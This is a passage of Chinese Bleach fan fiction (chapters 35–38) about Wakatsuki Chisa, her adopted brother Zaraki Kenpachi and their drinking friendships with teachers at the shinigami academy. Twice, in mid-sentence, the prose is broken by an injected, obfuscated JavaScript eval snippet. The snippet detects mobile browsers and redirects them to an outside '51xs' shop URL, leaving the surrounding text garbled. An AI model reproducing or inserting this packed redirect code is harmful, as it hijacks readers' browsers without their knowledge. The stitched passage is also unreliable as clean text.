剑八再怎么路痴,也不可能把这种标志性的建筑当成校舍的普通墙壁,从上面翻越而出。 可是,她已经把所有地方找了一遍。凭她的眼力,不可能漏看自家弟弟。 “……不对,还有一个地方我没彻底找过。对,灯下黑!” 若月千纱一个冲刺,回到男生宿舍楼楼下。 “剑八说不定忘记自己住在哪间宿舍了,为了遵守诺言回到自己宿舍,就在某个男生宿舍楼里徘徊!” 此刻,天已蒙蒙亮,男生宿舍楼里陆陆续续走出几个晨练的学生。 除却报到日,男生宿舍楼和女生宿舍楼禁止异性进入。刚才时间尚早,无人出门,方便她行动。而现在,每间宿舍对她来说都是一个不定时炸弹。倘若被人发现她出现在男生宿舍,后果不堪设想。 “都怪我昨晚的失误!那毕竟只是我的猜测,必须找到人才能安心。没事,只要速度够快,没人发现得了我!不要小瞧我黑吃黑期间锻炼出来的藏匿技能啊!” 惊心动魄的单方面躲猫猫游戏正式开始。 若月千纱提心吊胆地穿梭于各个男生宿舍楼的走廊里。 据她所知,学院的老师们也住在宿舍楼里。万一被老师逮到,她在开学第一天将作为女流氓在学院C位出道……嘶,她才不想要那个成为风云人物的未来! 她使出浑身解数,成功避过了几颗炸弹。最险的一次,她刚好出现在某扇打开的门面前,差点和房主撞在一起。 “诶,刚才那道红白相间的残影看起来好像女生制服……没人啊,应该是我眼花了吧。” 若月千纱头皮一麻,瞬间发动瞬步,在极短的时间内冲出走廊,拐了两道弯躲到上一层楼。 在狭窄的空间内接连进行短距离转向瞬移,对她而言是个新的挑战。 她成功了,侥幸逃得一劫! 若月千纱的心脏快要蹦出胸腔。她放松身体,抹了一把额头的汗。 都说人在松懈时最易出事,此话不假。 在她卸下警惕心的瞬间,她身前的一扇门悄无声息地被人推开,有人轻手轻脚地从里面走了出来,正好和她打了个照面。 两个人都愣住了。 一边是不该出现在男生宿舍的面色潮红的女生,一边是扛着一个人事不省的学生的行迹鬼祟的老师。两人心虚之下,齐齐喊道:“这是个误会,你听我解释——” 喊完后,他们才看清对方的模样。 “若月?你为什么会在这里?” “柴田大人?你对剑八干了什么事?” 时间回到昨夜。 更木剑八与若月千纱道别后,一个人待在宿舍里。 夜色还未深沉,他暂无睡意,看着无人的房间发呆。 幼时记忆在他脑海中仅剩模糊的片段,他已记不清独自流浪的日子。自他有记忆以来,他一直和若月千纱待在一起,形影不离。 这是第一次,她不存在于他的视野范围之内。 相处之时,她总是絮絮叨叨地和他说话,他总觉得心烦。如今,身旁噪音尽失,他竟觉得有些异样感。 更木剑八莫名有些焦躁,又睡不着觉,便就地锻炼起来。 只要身体动起来,他就能抛去一切杂念,摒弃心烦意乱的感觉。运动过后,他也能很快睡着。 作为休憩之地,宿舍不小,他甚至可以在榻榻米上左右翻滚几圈,完全不怕舒展不开手脚。 然而,作为训练之地,它的空间实在太小了,不足以让他自由活动身体。况且,他的力气和幼时相较,不可同日而语。在房间里训练,他怕自己稍一用劲,会把屋内摆设连同墙壁一起砸得稀巴烂。 他惯来喜欢大开大阖的招式,收敛力气又缚手缚脚的训练方式一点也不适合他。 就在这时,他想起刚才参观过的校园训练场。那里特别宽敞,他可以放开手脚尽情折腾。 “我要去那里训练。” 更木剑八想一出是一出,行动能力极强,说走就走。 他没有忘记若月千纱的叮嘱。若月千纱的话,他多少能听进耳朵。不过,她只交代他明早要等她后再出门,又没有让他今晚不许出门,不是吗? 重新强调一遍,虽然迷路过无数回,但更木剑八从不认为自己是个大路痴。 更木剑八推开门,走了出去。 这一出门,他一整夜都没回来。 走出宿舍楼后,更木剑八根据脑海里模糊的印象,向记忆中的训练场走了过去。 错误的地点,差劲的方向感,让更木剑八走在迷失的道路上。 然而,错上加错,有时会触发小概率事件,诞生奇迹。 在校园里打转了好几圈后,更木剑八误打误撞,抵达了训练场。 更木剑八坚定了自己的想法:“千纱错了,我果然不是路痴。” 夜色已晚,训练场上光线微茫,视野极差,没有人在黑暗中摸黑训练。然而,无人训练的训练场里竟有其他动静。 更木剑八一走进训练场,里面的声音骤然消失不见。 他扫了一圈训练场,场地上空无一人,之前的声音不知从何而来。 更木剑八毫不在意这些细节,自顾自训练起来。在月光下,他闭上了眼睛。 千纱说过,黑暗中更能锻炼五官的敏锐度和身体的协调性。在黑夜中对练,是他们加大难度自娱自乐的游戏之一。 他自封视觉,没有看到训练场上一块巨石投影的轮廓正不规则地变换着形状。 一个人偷偷地从巨石后探出脑袋,盯着训练场上撒欢的身影看了几眼,缩回脑袋,往巨石后藏得更深,一副不想被发现的模样,嘴里嘟嚷道:“怎么是他。” 他的表情不同寻常,引起同伴的好奇:“谁?” “一个新生。” “看你的表情,这个新生不普通吧?” “嗯,他很麻烦。我们换个地方吧。” “真可惜,这里可是最适合喝酒……的……地方。” 一张稚嫩的脸无声无息地出现在巨石旁,盯着同伴看了两眼,转向低头收拾酒瓶的人,眼里迸射出无边的惊喜。 同伴嘴角一勾,露出看好戏的表情:“柴田老师,有人找你。” 柴田木原身体一顿,抬起脑袋 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看戏看成了台上人,京乐春水很无奈。他讨厌麻烦,可他的胳膊还拽在别人手里。 “对,喝酒的话我很强。要不要和我喝一些?看,今晚的夜空这么美丽,正适合对月小酌。” 更木剑八才不听他胡说八道,盯着他看了几秒:“你好像挺强的。和我打一场!” “不行哟,小鬼,我不喜欢打架。这么美丽的夜晚,打打杀杀多煞风景啊。不过,如果你陪我喝完这些酒,我就带你去找柴田老师。” 和柴田木原战斗明显更具备吸引力。 更木剑八看了看地上不多的酒瓶,点头:“好!” 他二话不说,拎起一个酒瓶,拍开瓶塞,对准瓶口大口灌酒。 这是他不曾喝过的液体,辛辣割喉,味道奇特。但比起他曾经尝过的某些东西,这种口感不算什么。 京乐春水在一旁眯着眼睛笑。 这些酒度数偏高,适合浅斟慢酌,喝急易醉。他没看错,这个小家伙果真不会喝酒。只要把他灌醉,他自然就能脱身。 按照新手的酒量估算……10、9、8、7……3、2、1—— “倒!” 更木剑八应声而倒。 京乐春水一手扶住更木剑八,一手接住酒瓶。 他把更木剑八放在地上,背靠巨石,悠哉悠哉地饮酒赏月:“柴田老师,这些酒就当做你的赔礼吧。” 喝完酒后,他处理掉酒瓶,扛起醉醺醺的更木剑八,没入黑暗之中。 不一会儿,柴田木原喜提醉酒学生一名。 “我搞定他了。我不清楚他住在那间宿舍,之后交给你了。” 京乐春水把更木剑八往柴田木原怀里一塞,洒脱一笑,脚底抹油。 柴田木原懵了,抱着被快递上门的更木剑八,扔也不是,不扔也不是。 “我也不知道他住哪啊?” 把醉酒的学生扔在门外,就算是柴田木原也做不出这种事。无奈之下,他只能先把人安置在自己房间里。 “明天早上,趁他睡醒之前,我把他送出去吧。” 柴田木原打得一手好算盘。然而,他忘记考虑所有因素。譬如,更木剑八有个过度操心他的姐姐,敢为他只身闯入男生宿舍楼。 此刻,两人正以被人撞破坏事的姿态,在柴田木原的宿舍门口大眼瞪小眼。 36.第三十六章 场面一度极其尴尬。 打破这阵令人窒息气氛的,是隔壁打开房门的声音。 “进来再说!” 柴田木原迅速伸手将若月千纱拉进他的宿舍,“嘭”地一声甩上了门。 若月千纱从他肩上抢过更木剑八,后退几步,一边警惕地盯着柴田木原,一边检查更木剑八的情况。 “别担心,他只是喝醉了……别瞪我,灌酒的人不是我。” 若月千纱检查完毕,确认他所言不假,心里稍安:“那是谁?” 柴田木原卖酒友卖得熟门熟路:“京乐春水,比你大几届的前辈。” 他从自己的视角,把昨夜发生的事抖了个一干二净:“……人是京乐交给我的,具体的事得问他。” “京乐春水……”若月千纱咀嚼着这个名字,露出甜美的微笑,“我记住他了。” 柴田木原仿佛看到从她身后散发出的黑气,为自家酒友提前哀悼两秒。 默哀完毕。 “你呢?为什么会出现在男生宿舍楼?” 这个问题问得好。这个时间点很微妙,介于众人起床之际,更木剑八也有可能正在睡觉。如果若月千纱是来找失踪的更木剑八的话,她凭什么确定更木剑八不在宿舍? 若月千纱视线游移片刻,最终选择实话实说。 柴田木原对她的肆意妄为无言以对:“……你可以在楼下等他啊!为什么闯进来?只是下个楼而已,他能路痴到哪里?” “……昨天说错话了。不过,说到就要做到。”这是她和更木剑八之间默契的潜规则! “你是明知故犯?” “你有什么资格说我?半夜拉着学生酗酒的不良教师。” “知法犯法的不良学生。” “说话不算数骗小孩的恶劣大人。” “擅闯男生宿舍的女流氓。” “把女学生拉进自己宿舍的猥琐大叔。” 柴田木原冤枉极了:“什么?我才没做那种事!” 若月千纱指了指自己,又指了指房间:“女学生,你的宿舍。这是事实。” 柴田木原被噎得说不出话来:“你……你……” “我赢了!”若月千纱得意地比了个胜利手势,摇了摇,“现在,我们是一根绳上的蚂蚱,你得帮助我从男生宿舍楼里顺利脱身。否则,你得向别人解释清楚,为什么我和剑八会在你的房间里。” 要么同流合污,要么一起社死。 “我和你们姐弟俩绝对犯冲……” 柴田木原能怎么办?当然是想办法帮她呗。 经过一番有惊无险的波折后,若月千纱成功脱离男生宿舍楼。和她一起离开的,还有刚喝了解酒药,仍有些迷迷糊糊的更木剑八。 绕了一大圈,若月千纱践行了她的承诺。 临走前,她没有吝惜她的笑容:“柴田老师,我们下次见。” 柴田木原算是领教了一番她的难缠,毫无绅士风度地连连摇头:“不要有下次了。” 若月千纱嘿然一笑,带着更木剑八扬长而去。 不知怎的,柴田木原有些心惊肉跳,内心不安丛生。 “错觉吧?两年之内,我和他们没有任何交集。” 这一边,柴田木原在自我安慰;而另一边,若月千纱拍了拍更木剑八的肩膀:“放心吧,柴田老师躲得开这一次,但他躲不开下一次。很快,你就能如愿了。” 没有机会的话,她来创造机会。 当天上午,两人踩点到达了教室。 本届新生共计136人,按序号分成四个班级,每个班级三十余人,若月千纱和更木剑八被分在同一个班级。 第一天的课程很无聊,大抵是新生的自我介绍以及未来的课程安排等,另外还有入学仪式。 值得一提的是,当若月千纱和更木剑八揭晓他们的来处时,班上同学们如调色盘般变幻无穷的脸色。 在那之后,原本想要亲近他们的寥寥几个学生也对他们敬而远之。 尸魂界有天然的歧视链,瀞灵廷歧视流魂街,而流魂街序列排前的区域也天然歧视序号在后的区域,正如城里人对乡下人具备天生的优越感。 不过,歧视归歧视,没人敢惹怒这两人。 在考试之日,他们都见识过二人的实力。更何况,他们对流魂街排序最靠后的几个区域早有耳闻。这两个人可是从传说中那个茹毛饮血、自相残杀的80区活着走出来的披着人皮的野兽,他们才不干以身饲狼的蠢事呢。 开学的第一天始于波澜壮阔,终于波澜不惊…… 不,这一天并没有结束。 夜幕深沉后,若月千纱只身一人前往训练场,来了场人为“偶遇”。 “又见面了,柴田老师,晚上好!你们在喝酒吗?加我一个呗?” 若月千纱神不知鬼不觉地出现在柴田木原和京乐春水身边,笑嘻嘻地发出共饮申请。 “啊……我就说该换一个地方……麻烦又找上门了……”一见若月千纱,柴田木原便捂住胃部,一脸痛苦,“你放过我吧!” “诶,您说得太过分啦,我真的只是过来蹭个酒的!”若月千纱委屈脸,转头看向褐色微卷短发少年,看清他的表情后,目光闪了闪,眨了眨眼睛,绽开笑颜,“这位就是京乐前辈吧?我是这一届的新生若月千纱,请多多指教!你介不介意多一个酒友?” 柴田木原咆哮:“谁信啊!你一定有其他目的!” “哎呀,柴田老师,不可以这样对待淑女喔!”京乐春水温柔地笑着,扬了扬手中的酒瓶,“我怎么可能忍心拒绝漂亮小姐姐的请求呢?欢迎加入我们!” “谢谢前辈!”若月千纱不拘小节地盘腿坐在两人身边,从京乐春水手中接过酒瓶,往柴田木原面前一举,“柴田老师,干了这瓶酒,过往恩怨一笔勾销,如何?” “……要说到做到啊!”柴田木原看向京乐春水,“京乐,酒杯。” 京乐春水一摊手:“佐藤老师今天不来,没准备第三个酒杯。” “酒杯?要那种东西做什么?喝酒当然要对瓶吹啊!”若月千纱拿着酒瓶往柴田木原面前的酒瓶上轻轻一撞,“干杯!” 她豪迈地举起酒杯,咕咚咕咚连灌几大口,将里面的清酒一饮而尽。 当绵柔爽口的清酒滑过她的喉咙时,她笑了。 流魂街的酒,她喝再多都不会醉。她早有怀疑,自己在失忆前大约是个千杯不醉的酒豪。 这些清酒的品质比她在流魂街里喝过的酒明显上乘许多,没有杂味,酒精度数也更高,但是——不过如此。 太好了,计划通。 她饮下最后一滴酒,翻转酒瓶,瓶口朝下,笑得比之前更甜:“柴田老师,我等着看您和解的诚意啦。” “嘶——”柴田木原倒抽一口冷气,愁眉苦脸地放下手中斟满酒的小酒杯,拿起酒瓶往嘴边凑,“我就知道……说好了啊,喝完这瓶酒后,不许再找我麻烦!” “当然!到时候我们就是纯粹的酒友了!” “一言为定!” 柴田木原仰头。 他喝得急,酒劲上来得快,脸色一下子涨得通红。 他学着若月千纱的样子,将酒瓶倒过来。 “爽快!”若月千纱赞了一句,从地上拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499319|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一瓶酒,转向京乐春水,“京乐前辈,感谢你昨夜对我家弟弟的照顾,这瓶酒敬你。” 京乐春水扬了扬眉毛。 图穷匕见,他这个后辈是来找场子的,他也是目标之一。 “昨晚的事是我不对。”他坦坦荡荡地道了歉,“这瓶酒,我干了。” 他从若月千纱手里拿过酒瓶,干脆地一仰脖子。 若月千纱笑开了花:“前辈的道歉,我替剑八收下了。日后,作为酒友,请多多关照!” 她重新拿过一瓶酒,再次一饮而尽。 两瓶酒下肚,她的脸颊浮上一抹薄红,眼神却依然清亮。 “好酒量!” 浮动在三人之间的微妙气氛烟消云散。三人和和睦睦地坐在一起,谈天说地,浅斟慢酌,不亦乐乎。 若月千纱拿着酒瓶,一口一口地抿着酒,眼里的笑意越来越浓。 虽然这场相遇的目的并不单纯,但这两人的脾性和她相投,和他们相处,她觉得意外舒适。 两人带的酒数量不多,又有四瓶耗在泯恩仇上,剩余的酒很快就喝完了。 若月千纱意犹未尽地舔了舔嘴唇:“柴田老师,这点酒哪里够喝呢?别那么小气,下次多带一些吧。” 柴田木原有些心疼自己的荷包:“清酒很贵的!你是不是打算换个方法报仇,准备压榨干我的钱袋吧?” “哎呀,这话真叫人伤心,我可从不食言呢。酒友之间,谈什么钱不钱的?多伤感情啊。”若月千纱解开自己轻飘飘的钱袋亮给他看,“喏,我的情况您也知道。穷学生一个,只能跟着您蹭点小酒啦。” 柴田木原看了看她钱袋里的三瓜两枣:“罢了,你的酒钱算在我身上吧,就当刚才说错话的赔礼了。” 若月千纱一击掌:“柴田老师这么豪爽,我也不好意思白蹭了!等我日后赚了钱,再把这份酒钱补给您。” 京乐春水眯起眼睛,插话道:“算在我身上吧。为美女花钱,是我的荣幸。” 若月千纱双手交叉,摇头拒绝一条龙:“京乐前辈,禁止撩人。收起你那无处安放的魅力,我才不吃你那套呢!” “噗嗤。京乐,你被拒绝了呢。” “诶,我对漂亮小姐姐没有吸引力了吗?” “大错特错,我可不是小姐姐。京乐前辈,别看你长得比我年轻,你很可能比我大呢。” “没错,若月是流魂街的人,和你这个在瀞灵廷里长大的孩子不同,不能从外表判断年龄。” “敢问小姐芳龄?” “哎呀,京乐前辈,你失误了,怎么能问女孩子年龄呢?我当然是永远的18岁啦!不过,既然京乐前辈出生于尸魂界,那肯定比我年长。” 三人笑闹一番,各自道别。 若月千纱回到宿舍,伸了伸懒腰,想着新交的两个酒友,良心有点痛:“柴田老师,京乐前辈,别怪我居心不良啊。没办法,剑八才是第一位嘛。” 想了想柴田木原和京乐春水之前互相出卖的事迹,她又有些释然:“都说物以类聚,人以群分。既然互相出卖是你们的优良传统,那我自然要尊重传统,也把你们卖上一卖了啊!” 不知是不是酒的助眠作用,这一日,若月千纱虽仍不习惯独住一间,却睡得比昨夜更早一些。 隔日,她如约在男宿舍楼楼下接到更木剑八,和他进行晨练、用完早餐后,一起去了教室。 开学第二日,他们班正式展开“斩拳走鬼”的训练。 授课老师把他们带到训练场,向他们进行自我介绍:“各位学生们,早上好。我是佐藤俊川,负责你们‘拳’——也就是白打的训练。” 37.第三十七章 若月千纱莫名觉得这个半长发死神有点眼熟,却没特别在意。 瀞灵廷和流魂街不同。死神在流魂街是稀有物种,在瀞灵廷却是常见居民。她不再是最初那个孤陋寡闻的土包子,不会见到个死神就稀罕地看个没完。 自进入瀞灵廷以来,和她擦肩而过的死神已不下双十之数。或许,他就是其中之一。 比起略微熟悉的长相,她对佐藤俊川的教学更感兴趣。 她对白打抱持很深的感情。白打是她从系统中得到的第一个基本技能,也是她最依赖且最擅长的基本技能。因为有它,她才获得在80区活下去的资本。 上次,柴田木原和更木剑八交手的时间太短,她还没看出个所以然来。她很好奇,从系统中获得的白打技能是否和死神正式传授的白打技能一模一样?它们是否存在区别?哪个又更胜一筹? 佐藤俊川向众人演示了一遍白打的基本招式,包含拳法、腿法、肘法、步法等。 白打的实战效果很强,谁用谁知道。但没有对手配合演示,它看起来和花拳绣腿没什么两样,威力不显。 佐藤俊川看懂了学生们眼中的质疑。为了让众人直观地了解白打的强大,增加他们的学习热情,他开口道:“你们有谁擅长搏斗?有没有人自愿上来和我对练?我会在对练时演示白打的基本招式,并讲解给你们听。” “我!”更木剑八从众人中疾奔而出,生怕被人抢了先。 在他应声后,争先恐后想要出列的几个学生默默地把脚缩了回去。 若月千纱正想做个旁观者,没有和更木剑八争抢机会。她暗自挪了个位置,占据了视野最好的观众席。 有更木剑八做对手,佐藤俊川休想把绝招藏着掖着。她想确认两种白打的优劣,现在正是最好的机会。 佐藤俊川殊不知自己抽中了鬼牌。见上来配合演练的学生年纪尚小,他掉以轻心,犯了个大错——他放水了。 更木剑八的拳头结结实实地击中佐藤俊川格挡的手臂,他的双脚向后滑行数米,才借助地面卸去了那股巨力。 这一次过招的胜负显而易见,围观的学生们惊掉一地眼镜。 更木剑八十分不满:“认真点打!” 佐藤俊川羞红了耳根,恨不得即刻消失在众人面前。可惜现在是上课时间,他不仅不能逃,还要在众人面前维持住为人师表的形象。 他清咳一声,为自己挽尊:“各位学生们,看到没有?在战斗时切忌小瞧对手,否则会被对手翻盘,狮子搏兔亦用全力。接下来,我来正式为大家演示白打招式。” 重复一遍,佐藤俊川抽中的是张鬼牌。 他万万没想到,自己的学生中竟然有人的白打比他更强。而他刚才为了挽回颜面的措辞,竟成为最后将他推入深渊的那一双手。 他强,更木剑八更强。 别说讲解白打招式了,他连喘口气的空隙都没有。在更木剑八层出不穷的攻击下,他逐渐落入下风,节节败退,面子里子丢了个精光。 全场鸦雀无声,落针可闻。 事情发展到这个地步,佐藤俊川根本不好意思叫停。他倔强地闭紧嘴巴,不肯破坏规矩,用出其他技能赢取胜利,也不肯认输。 输,他也要输得坦荡,至少避免在学生们心目中留下厚颜无耻或胆怯避战的形象。 若月千纱无比同情他:“和小野太郎一战后,剑八进步神速。单论白打,他现在说不定比巅峰期的小野太郎更强。要是你早几年遇到他,应该不会落到这个下场。” 同情时间结束。若月千纱骄傲地昂首挺胸。 她家崽崽赛高! 更木剑八不懂得何谓点到为止,若月千纱为了让他尽兴,也不曾阻拦他。第一次白打训练,以佐藤俊川被更木剑八打到昏迷落幕。 当更木剑八一脸餍足地回到学生之中时,众人如摩西分海般向两旁退开,主动让出一条道路。 待他回到若月千纱身旁时,他们周身两米之内变成了无人区。 看着倒在地上的佐藤俊川,学生们像热锅上的蚂蚁,急得团团转,却不知该怎么做才好。 “佐藤老师还有气!” “我们赶紧把他送到治疗室去!” “谁会做担架?” “有没有人知道紧急包扎的方法?必须先给佐藤老师进行临时治疗!” 若月千纱慈悲一笑,上前一步,自体内散发出圣女光芒:“我来替他疗伤。在紧急包扎方面,我有非常丰富的经验。” 她跪坐在佐藤俊川身旁,从怀里掏出几小瓶药膏,外加一小捆绷带,当场替他抹药包扎,消瘀止血,努力消除更木剑八的罪证。 若月千纱为什么会随身携带这些东西?她的包扎手法又为何如此娴熟? 众人细思恐极,把她的危险级别往上调了调。 包扎的步骤枯燥无味,在重复机械式动作时,若月千纱不由得走了神。观战时产生的万千思绪在她脑海里来回盘旋,让她时不时用眼角余光瞥向空中那个只有她看得见的存在。 在刚才那场真刀实枪的战斗里,双方都掏出了压箱底的真本事。佐藤俊川略逊一筹,却打得十分顽强,将这场战斗拉得十分漫长。若月千纱站在最佳观众席上,目标明确,看得比谁都认真仔细,没有放过佐藤俊川的每一个动作,并在心里将其与系统奖励的白打技能进行反复对比。因此,她产生了一种不可思议的想法。 不过,那肯定只是她的错觉。不然,怎么会发生这么离谱的事情呢? 她想要否认那个想法,但她心底隐隐约约有个声音告诉她,那就是真相。 可是,说不通啊…… “是你帮我包扎的吗?谢谢。” 一道声音拉回了若月千纱的思绪。 她收敛心神,发现自己不知不觉中已完成包扎工作,仍跪坐在原地发呆。而佐藤俊川刚刚清醒过来,正不顾伤痕累累的身体想要爬起来。 “不用谢。” 若月千纱将医疗用品收回怀中,身体微微前倾,准备起身。 她的这个动作让佐藤俊川产生了小小的误会,他又补充了一句:“我没事,这些都是小伤,你不用扶我起来。” 若月千纱歪了歪脑袋。 她才没那个打算呢。多处轻微骨裂而已,当然只是小伤,大半个月就能愈合。那点疼痛感忍一忍就过去了,他的腿又没断,哪里需要人扶? 当然,机智如她,不会口无遮拦地把这个想法宣之于口。 “那您小心点儿。” 佐藤俊川的苏醒像是按了开关键,让原本愣在原地的学生们瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528816|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间动了起来。 在刚才的战斗中,佐藤俊川输了。但是,他强悍的身手、精湛的技能、恪守原则的做法、不屈的意志,深深地折服了他的学生们。 他们围上前去,众星拱月,七嘴八舌地对佐藤俊川嘘寒问暖,百般抚慰。 “佐藤老师,您没事吧?要不要去治疗室看看?” “佐藤老师,您刚才用的厉害招式就是之后要教给我们的白打吗?我要学!” “佐藤老师,您真的好有原则!说好要演示白打技能,即便被对手以下克上,您也坚持不用其他技能进行对练,我好敬佩您!” “佐藤老师,您才没有输给那个家伙呢!除了一身蛮力,他的招式杂乱无章,根本不是您的对手!” “就是就是!” 佐藤俊川被学生们真情实感的话语团团包围,只恨不得挖个地洞把自己藏起来。 他们哪里是说的掏心窝子的话?而是把他的心掏出来,在上面又插了好几刀! 同样的东西在不同境界的人眼中是不一样的。学生们只看得见更木剑八蛮力过人,看得出佐藤俊川的招式章法精妙,却看不懂更木剑八藏在一力降十会下超绝的战斗嗅觉、预判能力、爆发力以及大巧若拙的招式。 他是真真正正、在自己最擅长的领域里输给了一介新生。 他有承认自己战败的勇气。 佐藤俊川郑重其事地纠正道:“不是那样,你们弄错了,更木的白打比我更厉害。我确确实实输给他了。” 奈何,他的学生们固执己见,就是听不进他的实话。 “您太谦虚了!” “您很强!在我们心中,您是最强的!” 在学生们“暖言暖语”的狂轰滥炸之下,佐藤俊川顶不住了。 在羞愧到爆炸之前,他以看伤为由早退,让学生们自行训练,自己灰溜溜地跑去治疗室。 什么?骨裂只是区区小伤?谁说的?有伤当然要及时治疗啦! 兵荒马乱的第一天训练就这样潦草收尾。 夜里,若月千纱轻车熟路地前往训练场。 在训练场上,她见到了两张日渐熟悉的面孔。 “诶,怎么只有你们?”若月千纱左顾右盼,“今天你们不是要向我介绍第三位酒友么?他还没来吗?” “他今天不来了。” “为什么?” “他受伤了,身上骨裂了几处。我去嘲……探望他,他亲口说的。” 若月千纱顿了顿。骨裂?今天难道是水逆日?她的白打课老师也不幸骨裂了呢。 话说回来,佐藤俊川和素未蒙面的第三位酒友同姓呢。要不是佐藤是大姓,姓氏随处可见,她差点就误会了。 世上哪有这么巧合的事情呀。 “诶——这么不巧?那我岂不是要几日后才能见到他?” “没办法,谁让他实力不济,被自己的学生暴打进治疗室了。” 若月千纱心里一咯噔。 既视感太强了!姓“佐藤”,被学生打到多处骨裂,世上真有这么巧的事情吗? 她小心翼翼地问道:“我能问问未来酒友的全名么?” 柴田木原勾起嘴角,笑得贱兮兮的:“你应该很清楚才对啊?毕竟今天教你们班白打的老师就是他啊!” 38.第三十八章 佐藤俊川=第三位酒友。 难怪她之前觉得佐藤俊川有点眼熟,原来她在入学考试当天远远地见过来找柴田木原的佐藤俊川一眼。 诶嘿,她和第三位酒友好有缘分哦!在以酒会友之前,她家崽崽就把人家打进治疗室啦!她还顺便帮自家弟弟收拾了下烂摊子,把事情大事化小啦! 若月千纱嘴角抽搐,压下忍不住冒头的心虚,硬挤出笑容,双手击掌:“原来他就是佐藤老师,我们好有缘哦!” 柴田木原去探过病,早已得知今日发生在佐藤俊川身上的事情,对若月千纱的厚脸皮叹为观止。 若月千纱弄清第三位酒友的身份后,迅速转移话题:“柴田老师,天色太暗,我刚才没注意到,您的脸怎么啦?这淤青重的……您也被学生殴打了一顿吗?” “不。”柴田木原摸了摸右脸,“这是友情的分量。” 在探望好友时,好友已回过味来,对他在新生入学考试当天含糊其辞的提醒表示不满,送给他一记友情的拳头。 京乐春水慵懒地半躺在地上,一只胳膊支着脑袋,把他们的对话当做下酒菜,悠闲自在地自酌自饮。 “那是什么意思……啊,京乐前辈,不许偷喝酒!我也要喝!” 这场对话终止于抢酒大战。 月上中天,若月千纱喝得微醺,笑容满面地走在回宿舍的路上。 她刚才想过了,第三位酒友是佐藤俊川,对她来说其实是好事一桩。 师生的身份方便她从明面上和他拉近关系,而酒友这一层关系又有助于他们抛开身份增进私人感情,这可是相辅相成的好关系啊,对她的计划大有裨益! 她要想办法刷刷佐藤俊川的好感度,和他尽快亲近起来。 若月千纱打得一手好算盘,可惜,下一节白打课在几日之后。 排在白打之后的训练是“斩术”。 任职斩术课程的山口老师是个话痨,自我介绍的开场白格外漫长,听的人昏昏欲睡。 “……死神四大技能,斩拳走鬼,为什么‘斩’会放在最前面?那当然是因为四大技能之中,斩术是最强的!白打、瞬步、鬼道,那三个技能虽然也很强,但说白了,它们只是死神的辅助技能,帮助死神提升的实力是有限度的。” 话题似乎终于进入正题,若月千纱精神一振,洗耳恭听。 “唯有斩术,它对死神的实力增益没有上限。为什么呢?因为斩术,是借助斩魄刀这个容器发挥作用的。而斩魄刀,是死神以自身灵魂为原型筑成的佩刀。死神对斩魄刀的掌握度越高,得到的力量越大,自身的实力也越强。而斩术,有助于死神释放斩魄刀的力量。换句话说,斩术越强,死神也越强。” 若月千纱点了点头。 她听懂了,比起四大技能,斩魄刀才是至关重要的,是死神实力的核心。 山口老师滔滔不绝地从各个角度吹嘘一番斩术的重要度后,又回到了正题:“今日,我会给你们每人发一把浅打,你们用它来练习斩术。” 他拖过身后的大箩筐,里面堆放着三十几把形制一模一样的量产打刀。 “你们按顺序上来,一人拿一把浅打。” 若月千纱领到浅打后,摸了摸刀鞘,又抽出刀刃翻来覆去仔细看过两遍,得出一个结论:尸魂界的刀剑果然都是从一个模子里刻出来的。这把所谓的浅打,和她在流魂街得到的打刀一模一样。 她爱不释手地把玩着浅打,有种物归原主的失而复得感。 看到学生们人手一把浅打后,山口老师开口道:“看你们的表情,你们似乎很失望啊?你们知道浅打是什么吗?它其实就是未解放的斩魄刀,护廷十三队的死神用的也是它们!死神与浅打朝夕相伴,经过累积磨练,将自己灵魂的精髓融入浅打,才创造出独一无二的斩魄刀!这下,你们明白这些浅打有多珍贵了吗?” “啪嗒。” 他话音刚落,就有一把珍贵的浅打掉在地上。 珍而重之地抱紧浅打的学生们闻声看去,发现若月千纱失魂落魄地站在视线中心,那把掉落的浅打就趴在她的脚前。 她颤巍巍地举起手:“山口老师,假如浅打丢失了,浅打的主人会怎么样?会丢失自己与浅打融合的那一部分灵魂吗?” 她是不是在几年之前,无意间把自己的一小片灵魂抛弃在人烟罕至的旮旯角落了? 学生们闻言,身体一凛,把浅打抱得更紧,不约而同地把目光投向山口老师。 山口老师笑了:“问得好!不用担心,浅打只是力量的载体,发挥力量的媒介,你们的灵魂并非真正意义上剥离出来,与浅打融为一体。不过,这并不意味着浅打丢了也没关系。这些浅打只是借给你们暂时使用,在毕业时会全部回收。唯有正式加入护廷十三队的死神,才会被正式授予属于自己的浅打,拥有属于自己的斩魄刀。所以,在校期间,你们一定要保管好暂借给你们的浅打。” 若月千纱骤然放松身体,长舒一口气。 吓死她了,她差点以为她和自己的一部分灵魂永别了呢。 她捡起地上的浅打,继续听山口老师授课。 山口老师口若悬河,又狂吹了一通斩术的重要性。他的话大部分没有实质性内容,偏偏三不五时地掺杂几句分量不轻的精华在内,导致所有学生不得不认真听他的长篇大论,听得满脸痛苦。 哦,有一个学生除外,那就是更木剑八。他把山口老师喋喋不休的声音当做催眠曲,明目张胆地拄着打刀,站在若月千纱身侧呼呼大睡,脑袋一点一点。 若月千纱逮着一个看着好欺负的同学往更木剑八面前一拉,那人敢怒不敢言,只得老老实实杵在若月千纱的左前方当挡板,把身材矮小的更木剑八挡得严严实实。 山口老师讲了个尽兴后,终于抽出腰间的佩刀,为他们展示斩术的基本动作。 